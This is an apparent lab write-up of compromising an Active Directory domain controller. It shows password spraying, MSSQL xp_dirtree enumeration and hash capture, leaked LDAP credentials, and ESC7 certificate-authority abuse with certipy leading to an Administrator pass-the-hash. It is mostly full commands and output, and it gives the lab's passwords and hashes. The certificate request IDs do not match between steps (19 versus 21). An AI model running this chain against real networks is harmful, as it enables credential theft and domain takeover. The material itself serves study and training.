Overview

The machine starts by enumerating SMB with a guest session to RID-brute domain users, then spraying lowercase usernames as passwords to get credentials for the Operator account, which has mssql access via windows auth to enumerate the webroot using xp_dirtree and discover a backup zip containing an old ldap config with credentials for Raven, using winrm access to get user then running certipy to identify ESC7 on the CA where Raven holds ManageCA, adding herself as officer to gain ManageCertificates, requesting a SubCA certificate for administrator, approving the denied request, retrieving the pfx and authenticating via PKINIT to dump the administrator NT hash and get shell as Administrator.

Enumeration

as usual we start with nmap scan

and we've got SMB, RPC, HTTP, LDAP, Kerberos, LDAPS so it is obvious that this is an Active Directory Environment so lets list what we know so far :

  • FQDN is dc01.manager.htb
  • there is ADCS in place with the CA manager-DC01-CA
  • 7 hours clock skew

so let's setup the environment

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ echo '10.129.11.191 DC01 DC01.manager.htb manager.htb' | sudo tee -a /etc/hosts
10.129.11.191 DC01 DC01.manager.htb manager.htb
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ sudo ntpdate DC01.manager.htb
2026-06-09 20:34:52.539747 (-0700) +25199.931647 +/- 0.037597 DC01.manager.htb 10.129.11.191 s1 no-leap
CLOCK: time stepped by 25199.931647
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ nxc smb 10.129.11.191 -u '' -p '' --generate-krb5-file krb5.conf
SMB 10.129.11.191 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.11.191 445 DC01 [+] krb5 conf saved to: krb5.conf
SMB 10.129.11.191 445 DC01 [+] Run the following command to use the conf file: export KRB5_CONFIG=krb5.conf
SMB 10.129.11.191 445 DC01 [+] manager.htb\:
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ sudo mv krb5.conf /etc/krb5.conf

Started by testing Guest account which was valid but no custom shares

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ nxc smb 10.129.11.191 -u 'Guest' -p ''
SMB 10.129.11.191 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:None) (Null Auth:Tru
e)
SMB 10.129.11.191 445 DC01 [+] manager.htb\Guest:
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ nxc smb 10.129.11.191 -u 'Guest' -p '' --shares
SMB 10.129.11.191 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:None) (Null Auth:Tru
e)
SMB 10.129.11.191 445 DC01 [+] manager.htb\Guest:
SMB 10.129.11.191 445 DC01 [*] Enumerated shares
SMB 10.129.11.191 445 DC01 Share Permissions Remark
SMB 10.129.11.191 445 DC01 ----- ----------- ------
SMB 10.129.11.191 445 DC01 ADMIN$ Remote Admin
SMB 10.129.11.191 445 DC01 C$ Default share
SMB 10.129.11.191 445 DC01 IPC$ READ Remote IPC
SMB 10.129.11.191 445 DC01 NETLOGON Logon server share
SMB 10.129.11.191 445 DC01 SYSVOL Logon server share

Username Enumeration

so lets try to enumerate users, there is two ways one is through --rid-brute and the other is --users and each use a different pipe to do it so lets see which one we can use

trying --users returned nothing so maybe we don't have access to its PIPE, but anyway the RID brute returned users so lets clean it to get a valid list of users we can use

now we have a valid username list

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ cat list.txt | cut -d "\\" -f 2 | sed "s/ .*//g" | tee usernames.txt
DC01$
Zhong
Cheng
Ryan
Raven
JinWoo
ChinHae
Operator

now there is couple of things we can try, firstly is AS-REP roast which is an attack where the KDC doesn't require password for the user connecting to it to send a TGT for which will be encrypted using the user's hash so we can grab it and crack it offline

but nothing came back for it

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ kerbrute userenum -d manager.htb --dc 10.129.11.191 usernames.txt --downgrade --hash-file out.asrep

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/

Version: dev (n/a) - 06/09/26 - Ronnie Flathers @ropnop

2026/06/09 20:55:18 > Saving any captured hashes to out.asrep
2026/06/09 20:55:18 > Using downgraded encryption: arcfour-hmac-md5
2026/06/09 20:55:18 > Using KDC(s):
2026/06/09 20:55:18 > 10.129.11.191:88

2026/06/09 20:55:18 > [+] VALID USERNAME: Zhong@manager.htb
2026/06/09 20:55:18 > [+] VALID USERNAME: DC01$@manager.htb
2026/06/09 20:55:18 > [+] VALID USERNAME: Ryan@manager.htb
2026/06/09 20:55:18 > [+] VALID USERNAME: Cheng@manager.htb
2026/06/09 20:55:18 > [+] VALID USERNAME: ChinHae@manager.htb
2026/06/09 20:55:18 > [+] VALID USERNAME: JinWoo@manager.htb
2026/06/09 20:55:18 > [+] VALID USERNAME: Raven@manager.htb
2026/06/09 20:55:18 > [+] VALID USERNAME: Operator@manager.htb
2026/06/09 20:55:18 > Done! Tested 11 usernames (8 valid) in 0.290 seconds

One last thing before trying to brute-force passwords which will be very painful is to use the usernames and try them as password after doing some mutation on it

Operator User

so my first mutation is lowercase, where i will create a rule to lowercase all usernames using hashcat, and if didn't workout i can use a year like 2005 appended to them cause I saw this earlier in one of the Aliases and so on till we get a hit and the list is ready now for first mutation

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ echo 'l' > lowercase.rule
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ hashcat -r lowercase.rule usernames.txt --stdout > passwords.txt
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ cat passwords.txt
zhong
cheng
ryan
raven
jinwoo
chinhae
operator

and we use --no-bruteforce so it doesn't try all password entries for each user and try each user for its corresponding username instead and as you can see we got the user Operator got his password operator

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ nxc smb 10.129.11.191 -u usernames.txt -p passwords.txt --no-bruteforce
SMB 10.129.11.191 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.11.191 445 DC01 [-] manager.htb\Zhong:zhong STATUS_LOGON_FAILURE
                                                                        SMB 10.129.11.191 445 DC01 [-] manager.htb\Cheng:cheng STATUS_LOGON_FAILURE
SMB 10.129.11.191 445 DC01 [-] manager.htb\Ryan:ryan STATUS_LOGON_FAILURE
                                                                          SMB 10.129.11.191 445 DC01 [-] manager.htb\Raven:raven STATUS_LOGON_FAILURE
SMB 10.129.11.191 445 DC01 [-] manager.htb\JinWoo:jinwoo STATUS_LOGON_FAILURE
                                                                      SMB 10.129.11.191 445 DC01 [-] manager.htb\ChinHae:chinhae STATUS_LOGON_FAILURE
SMB 10.129.11.191 445 DC01 [+] manager.htb\Operator:operator

and it is valid for LDAP so lets run bloodhound and see what's there

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ nxc ldap 10.129.11.191 -u operator -p operator
LDAP 10.129.11.191 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:manager.htb) (signing:None) (channel binding:Never)
LDAP 10.129.11.191 389 DC01 [+] manager.htb\operator:operator

running rusthound cause I believe it is the best collector for linux

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ rusthound -d manager.htb -i 10.129.11.191 -u operator -p operator -z
---------------------------------------------------
Initializing RustHound at 21:20:19 on 06/09/26
Powered by g0h4n from OpenCyber
---------------------------------------------------

[2026-06-10T04:20:19Z INFO  rusthound] Verbosity level: Info
[2026-06-10T04:20:19Z INFO  rusthound::ldap] Connected to MANAGER.HTB Active Directory!
[2026-06-10T04:20:19Z INFO  rusthound::ldap] Starting data collection...
[2026-06-10T04:20:20Z INFO  rusthound::ldap] All data collected for NamingContext DC=manager,DC=htb
[2026-06-10T04:20:20Z INFO  rusthound::json::parser] Starting the LDAP objects parsing...
[2026-06-10T04:20:20Z INFO  rusthound::json::parser] Parsing LDAP objects finished!
[2026-06-10T04:20:20Z INFO  rusthound::json::checker] Starting checker to replace some values...
[2026-06-10T04:20:20Z INFO  rusthound::json::checker] Checking and replacing some values finished!
[2026-06-10T04:20:20Z INFO  rusthound::json::maker] 11 users parsed!
[2026-06-10T04:20:20Z INFO  rusthound::json::maker] 61 groups parsed!
[2026-06-10T04:20:20Z INFO  rusthound::json::maker] 1 computers parsed!
[2026-06-10T04:20:20Z INFO  rusthound::json::maker] 1 ous parsed!
[2026-06-10T04:20:20Z INFO  rusthound::json::maker] 1 domains parsed!
[2026-06-10T04:20:20Z INFO  rusthound::json::maker] 2 gpos parsed!
[2026-06-10T04:20:20Z INFO  rusthound::json::maker] 21 containers parsed!
[2026-06-10T04:20:20Z INFO  rusthound::json::maker] .//20260609212020_manager-htb_rusthound.zip created!

RustHound Enumeration Completed at 21:20:20 on 06/09/26! Happy Graphing!

Looking at the bloodhound data the user got no outboud objects

but it got access to SYSVOL and NETLOGON now so lets try to find any passwords in both

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ nxc smb 10.129.11.191 -u 'operator' -p 'operator' --shares
SMB 10.129.11.191 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.11.191 445 DC01 [+] manager.htb\operator:operator
SMB 10.129.11.191 445 DC01 [*] Enumerated shares
SMB 10.129.11.191 445 DC01 Share Permissions Remark
SMB 10.129.11.191 445 DC01 ----- ----------- ------
SMB 10.129.11.191 445 DC01 ADMIN$ Remote Admin
SMB 10.129.11.191 445 DC01 C$ Default share
SMB 10.129.11.191 445 DC01 IPC$ READ Remote IPC
SMB 10.129.11.191 445 DC01 NETLOGON READ Logon server share
SMB 10.129.11.191 445 DC01 SYSVOL READ Logon server share

this try also got nothing, so last thing we can try is to authenticate to mssql cause we saw it earlier exposed on 1433

mssql as Operator

and we can actually connect

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ nxc mssql 10.129.11.191 -u 'operator' -p 'operator'
MSSQL 10.129.11.191 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:manager.htb) (EncryptionReq:False)
MSSQL 10.129.11.191 1433 DC01 [+] manager.htb\operator:operator

trying to authenticate to mssql failed cause the user is valid only as domain user so we can try -windows-auth and as you see it worked

we got no impersonation access and we can't enable shell commands and no links that we can use

bash 
SQL (MANAGER\Operator guest@master)> enum_impersonate
execute as database permission_name state_desc grantee grantor
---------- -------- --------------- ---------- ------- -------
SQL (MANAGER\Operator guest@master)> enable_xp_cmdshell
ERROR(DC01\SQLEXPRESS): Line 105: User does not have permission to perform this action.
ERROR(DC01\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement.
ERROR(DC01\SQLEXPRESS): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
ERROR(DC01\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement.
SQL (MANAGER\Operator guest@master)> enum_links
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT
--------------- ---------------- ----------- --------------- ------------------ ------------ -------
DC01\SQLEXPRESS   SQLNCLI            SQL Server    DC01\SQLEXPRESS   NULL                 NULL           NULL
Linked Server Local Login Is Self Mapping Remote Login
------------- ----------- --------------- ------------

One thing that you should always try is invoking an SMB request back to your attacker maching from mssql which will send the mssql user hash back to your attacker where you can try to crack it

so we start responder sudo responder -I tun0 and use xp_dirtree in mssql which is used to dir for specific path but in this case is a remote address so it tries to connect to it first by sending NTLMv2 hash ss_20260609_213721.png

and as you can see the list is exhausted so now our only way is to try to read local files using xp_dirtree

looking at webroot folder we find a file called backup so lets download it

bash 
SQL (MANAGER\Operator guest@master)> xp_dirtree C:\inetpub\wwwroot
subdirectory depth file
------------------------------- ----- ----
about.html                            1      1
contact.html                          1      1
css 1 0
images 1 0
index.html                            1      1
js 1 0
service.html                          1      1
web.config                            1      1
website-backup-27-07-23-old.zip       1      1
SQL (MANAGER\Operator guest@master)>

and we got the file so lets see what's inside

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ wget http://manager.htb/website-backup-27-07-23-old.zip -O backup.zip
--2026-06-09 21:42:32-- http://manager.htb/website-backup-27-07-23-old.zip
Resolving manager.htb (manager.htb)... 10.129.11.191
Connecting to manager.htb (manager.htb)|10.129.11.191|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1045328 (1021K) [application/x-zip-compressed]
Saving to: ‘backup.zip’

backup.zip 100%[====================================================================================================>] 1021K 554KB/s in 1.8s

2026-06-09 21:42:35 (554 KB/s) - ‘backup.zip’ saved [1045328/1045328]

we got source code for the website but it was called old so maybe there is some leaked passwords in it

plaintext 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ unzip backup.zip
Archive:  backup.zip
  inflating: .old-conf.xml
  inflating: about.html
  inflating: contact.html
  inflating: css/bootstrap.css
  inflating: css/responsive.css
  inflating: css/style.css
  <SNIP>
  inflating: js/jquery-3.4.1.min.js
  inflating: service.html

looking at the conf file we've got password for the user raven that is used to connect to ldap

plaintext 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ cat .old-conf.xml
<?xml version="1.0" encoding="UTF-8"?>
<ldap-conf xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
   <server>
      <host>dc01.manager.htb</host>
      <open-port enabled="true">389</open-port>
      <secure-port enabled="false">0</secure-port>
      <search-base>dc=manager,dc=htb</search-base>
      <server-type>microsoft</server-type>
      <access-user>
         <user>raven@manager.htb</user>
         <password>R4v3nBe5tD3veloP3r!123</password>
      </access-user>
      <uid-attribute>cn</uid-attribute>
   </server>
   <search type="full">
      <dir-list>
         <dir>cn=Operator1,CN=users,dc=manager,dc=htb</dir>
      </dir-list>
   </search>
</ldap-conf>

Shell as Raven

and as you can see we got access to winrm

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ nxc ldap 10.129.11.191 -u raven -p 'R4v3nBe5tD3veloP3r!123'
LDAP 10.129.11.191 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:manager.htb) (signing:None) (channel binding:Never)
LDAP 10.129.11.191 389 DC01 [+] manager.htb\raven:R4v3nBe5tD3veloP3r!123
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ nxc winrm 10.129.11.191 -u raven -p 'R4v3nBe5tD3veloP3r!123'
WINRM 10.129.11.191 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:manager.htb)
WINRM 10.129.11.191 5985 DC01 [+] manager.htb\raven:R4v3nBe5tD3veloP3r!123 (Pwn3d!)

and we got the user flag

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ winrmexec manager.htb/raven:'R4v3nBe5tD3veloP3r!123'@10.129.11.191
'prompt_toolkit' not installed, using built-in 'readline'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

[*] '-target_ip' not specified, using 10.129.11.191
[*] '-port' not specified, using 5985
[*] '-url' not specified, using http://10.129.11.191:5985/wsman
PS C:\Users\Raven\Documents> type ../Desktop/user.txt
782b252cbbbf94fab71eb91bfad539da
PS C:\Users\Raven\Documents>

Escalation

and if there is ADCS in place you should always run SharpHound once you get a shell so lets do this and take a look again at the data

Looking at the bloodhound data the user Raven can enroll in multiple templates and he also can Manager the CA on manager.htb main CA so I will first try to find any vulnerable templates Pasted image 20260610015053.png

using certipy to enumerate vulnerable templates

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ certipy find -dc-ip 10.129.11.191 -u raven -p 'R4v3nBe5tD3veloP3r!123' -vulnerable
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'manager-DC01-CA' via RRP
[*] Successfully retrieved CA configuration for 'manager-DC01-CA'
[*] Checking web enrollment for CA 'manager-DC01-CA' @ 'dc01.manager.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20260609215549_Certipy.txt'
[*] Wrote text output to '20260609215549_Certipy.txt'
[*] Saving JSON output to '20260609215549_Certipy.json'
[*] Wrote JSON output to '20260609215549_Certipy.json'

ESC7

there is no vulnerable Template but the CA itself is vulnerable and I guess that is because the ManageCA permission over it which allows the user to configured the CA by modifying its configuration like assigning CA roles and managing the CA security this permission combined with Manage Certificates which allows the user permission to deny pending certificate requests and to revoke issued certificates can lead to serious issues we don't have the second one yet but we can use the first to give ourself the second

First we'll add ourself as officer on the CA

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ certipy ca -u 'raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -ns 10.129.11.191 -target dc01.manager.htb -ca 'manager-DC01-CA' -add-officer 'raven'
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'Raven' on 'manager-DC01-CA'

then we make sure to enable the SubCA template

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ certipy ca -u 'raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -ns 10.129.11.191 -target dc01.manager.htb -ca 'manager-DC01-CA' -enable-template 'SubCA'
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'manager-DC01-CA'

why this specific template SubCA ? this SubCA template is used for any purpose and it allows whoever request to specify the subject name and that makes it dangerous but usually only administrators can enroll templates for this so when we use this template and request a certificate for the user administrator, it'll be denied and will get a requestID and a private key so we'll use the privilege we added to ourself earlier to make sure the request that was just denied to be approved and get the certificate

Exploit ESC7

we also need the SID first, that's how CA works and if we don't need SID to request it would be another vulnerability but in this case we need it so get the administrator SID either by using lookupsid.py then request the certificate which will fail as we anticipated

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ certipy req -u 'raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.11.191 -target dc01.manager.htb -ca 'manager-DC01-CA' -template 'SubCA' -upn 'administrator@manager.ht
b' -sid 'S-1-5-21-4078382237-1492182817-2568127209-500'
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 19
[-] Got error while requesting certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
Would you like to save the private key? (y/N): y
[*] Saving private key to '19.key'
[*] Wrote private key to '19.key'
[-] Failed to request certificate

then approve the pending request

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ certipy ca -u 'raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.11.191 -target dc01.manager.htb -ca 'manager-DC01-CA' -issue-request '21'
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate request ID 21

and then retrieve the approved certificate, and this is where we need the private key we saved earlier, you won't see it in the command but certipy will try to locate a filed with id.key in your current directory to use for retrieval

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ certipy req -u 'raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.11.191 -target dc01.manager.htb -ca 'manager-DC01-CA' -retrieve '21'
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Retrieving certificate with ID 21
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@manager.htb'
[*] Certificate object SID is 'S-1-5-21-4078382237-1492182817-2568127209-500'
[*] Loaded private key from '21.key'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

and as you can see we used the pfx file to auth and we got a hash for the administrator

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ certipy auth -pfx administrator.pfx -dc-ip 10.129.11.191
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@manager.htb'
[*]     SAN URL SID: 'S-1-5-21-4078382237-1492182817-2568127209-500'
[*]     Security Extension SID: 'S-1-5-21-4078382237-1492182817-2568127209-500'
[*] Using principal: 'administrator@manager.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef

Shell as Administrator

and we got the root flag

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/Manager]
└──╼ [★]$ evil-winrm -i 10.129.11.191 -u administrator -H ae5064c2f62317332c88629e025924ef

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
9fc0691a6229e6ff7f2a7ce95c280b56
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Beyond root

just to prove the point of this private key lets try not to save the key

and as you can see trying to do it all over again got crt file instead of pfx file

the CRT file is a public certificate which contains the identify information just like administrator, the issuing authority signature and a public key but the PFX file is an encrypted file which bundles that CRT file with the private key into a single file to use for authentication so what is the point of this private key ? you use it to sign the CSR (certificate signing request) and send your public key with the CSR so the CA tries to decrypt this CSR using your public key just to be sure it is coming from you and you actually own the pair of this public key in the CSR (which is the private key you signed it with)

Resources